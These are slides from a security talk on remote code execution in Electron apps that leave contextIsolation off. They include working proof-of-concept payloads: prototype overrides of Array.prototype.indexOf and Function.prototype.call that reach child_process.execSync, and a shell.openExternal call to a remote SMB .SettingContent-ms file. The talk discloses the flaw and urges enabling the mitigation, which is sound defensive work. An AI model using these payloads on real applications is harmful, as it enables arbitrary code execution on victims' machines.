Introduction • In 2016, we audited one Electron based application • Found RCE, ... but noticed the root cause was in Electron itself • Reported to Electron Team and it was fixed by adding the option called "contextIsolation" • I'd like to talk about it!
Can create Renderer Process Basics: Main Process main.js const {BrowserWindow} = require('electron'); let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`);
Basics: webPreferences • Settings of renderer process's features • Set it in main process, like this: new BrowserWindow({ webPreferences:{ "FEATURE_NAME": true } });
Basics: nodeIntegration Decide if Node APIs are enabled in renderer let win = new BrowserWindow({ webPreferences:{ nodeIntegration: true } }); win.loadURL(`[...] index.html`); main.js
Basics: Preload Script • Loaded before other scripts in the renderer are loaded • Has unlimited access to Node APIs new BrowserWindow({ webPreferences:{ nodeIntegration: false, preload: path.join(__dirname,'preload.js') } }); main.js
Are these settings RCE-safe enough? • nodeIntegration : false • Necessary features are exported via preload • Also assume that the argument is properly validated to prevent RCE ➡No RCE even if XSS exists?
Still not safe enough Developers should use "contextIsolation" option also! new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); What is that? ➡
contextIsolation • Added in v1.4.15 (Released on Jan 20, 2017) • The default is false • Official doc still says it's an experimental feature but we really need it to remove the possibility of RCE
contextIsolation's effect • Separates JavaScript context between the page's scripts and preload scripts • Separetes JavaScript context between the page's scripts and Electron's internal code
contextIsolation Electron uses the same technology as Chromium's Content Scripts to enable this behavior. https://github.com/electron/electron/blob/2551837ffbbd88f48236a658f601e896fb61ec83/doc s/tutorial/security.md#3-enable-context-isolation-for-remote-content “ Let's compare the behavior! ➡
Let's see... and? • The lack of isolated world is useful for developers, no? • because we can communicate directly... But it is useful for attackers also?! ➡
Basic idea to RCE An Attacker can: 1. Execute arbitrary JavaScript in renderer somehow(e.g. XSS or navigation to external sites) 2. Overwrite the built-in method which is used in preload or Electron internal code to own function 3. Trigger the use of overwritten function 4. Something happens => Achieve RCE
shell.openExternal ? Opens the given URL using the desktop's default way const {shell} = require('electron'); /* Open with default browser */ shell.openExternal('https://example.com/'); /* Open with default mail client */ shell.openExternal('mailto:[email protected]'); /* Execute exe file */ shell.openExternal('file:///C:/windows/system32/calc.exe');
#1: Attacking preload scripts <br/>Array.prototype.indexOf=function(){<br/>return 1337;<br/>}<br/> CLICK Click Now all links are opened by shell.openExternal if (1337 !== -1) { shell.openExternal(link.href); }
BTW: Is shell.openExternal really exploitable? • To abuse this, the malicious program is placed in a known path • We can't pass any arguments Do we have any ways? ➡
File server + .SettingContent-ms file const { shell } = require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms"); • Matt Nelson found that ".SettingContent-ms" file can run shell command without warning dialog The Tale of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 Works!
Other tricks • File server + .jar file (Java needed) • Java does not respect ADS • File server + mscorsvw.exe (Found by Alex Inführ) InsertScript: DLL Hijacking via URL files (Alex Inführ) https://insert-script.blogspot.com/2018/05/dll-hijacking-via- url-files.html
#2: Attacking Electron internal code • A part of the Electron itself is implemented by using Node.js code • The overwritten built-in method is used here as well • By triggering the use of overwritten method in internal code, can get access to node APIs from the argument
#2: Attacking Electron internal code // Clean cache on quit. process.on('exit', function () { for (let p in cachedArchives) { if (!hasProp.call(cachedArchives, p)) continue cachedArchives[p].destroy() } }) https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d 3ba4c5/lib/common/asar.js#L30-L36 "exit" event listener is always set by the internal code when the page loading is started. This event is emitted just before navigation
#2: Attacking Electron internal code EventEmitter.prototype.emit = function emit(type) { [...] handler = events[type]; [...] var isFn = typeof handler === 'function'; len = arguments.length; switch (len) { // fast cases case 1: emitNone(handler, isFn, this); break; case 2: [...] } }; if the "exit" event is emitted, EventEmitter.prototype.emit is called and it executes "emitNone" function https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231 Note: Here is inside require('events') bundled in Node.js
#2: Attacking Electron internal code function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113 Then, it goes here
#2: Attacking Electron internal code function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } "self" is Node's process object
#2: Attacking Electron internal code function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } So, let's overwrite this "call" and get access to process object
#2: Attacking Electron internal code Overwrite Function.prototype.call, like this: <br/>Function.prototype.call=function(process){<br/>process.mainModule.require('child_process').execSync('calc');<br/>}<br/>location.reload();// Trigger the "exit" event<br/>
#2: Attacking Electron internal code function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } calc is launched via overwritten "call"!
Attack Routes Attack route's examples: • XSS • Navigation to arbitrary remote sites • MitM Basically arbitrary JavaScript execution in the renderer + no "contextIsolation" mean game over.
Attack Routes(3-2) • Handling middle-click is often forgotten by app • "click" event is not emitted /* preload.js */ document.addEventListener('click', (e) => { /* It will not come here */ }, false);
Conclusion • We should know RCE happens in default Electron even if "nodeIntegration" is not enabled • "contextIsolation" prevents RCE with overwritten built-in method. We have to use it explicitly because currently the default is false new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); IMPORTANT!